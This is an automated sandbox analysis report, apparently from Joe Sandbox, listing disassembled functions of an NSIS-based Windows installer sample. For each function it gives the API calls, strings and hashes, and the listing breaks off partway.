Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,759223A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,00000064,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,75923420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285386259.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000004.00000002.3285321595.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3285304936.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285341884.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3285359778.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
